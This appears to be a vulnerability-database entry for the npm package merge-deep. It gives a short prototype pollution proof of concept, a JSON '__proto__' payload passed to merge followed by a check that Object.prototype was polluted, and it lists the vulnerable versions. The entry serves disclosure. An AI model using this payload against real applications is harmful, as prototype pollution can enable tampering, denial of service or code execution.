merge-deep

Recursively merge values in a javascript object.

Latest version: 3.0.3

Exploits

const merge = require('merge-deep');

merge({}, JSON.parse('{"__proto__": {"a": "b"}}'));
if (({}).a === 'b') console.log('exploitable');

Vulnerable versions: 2.0.0 2.0.1 2.0.2 3.0.0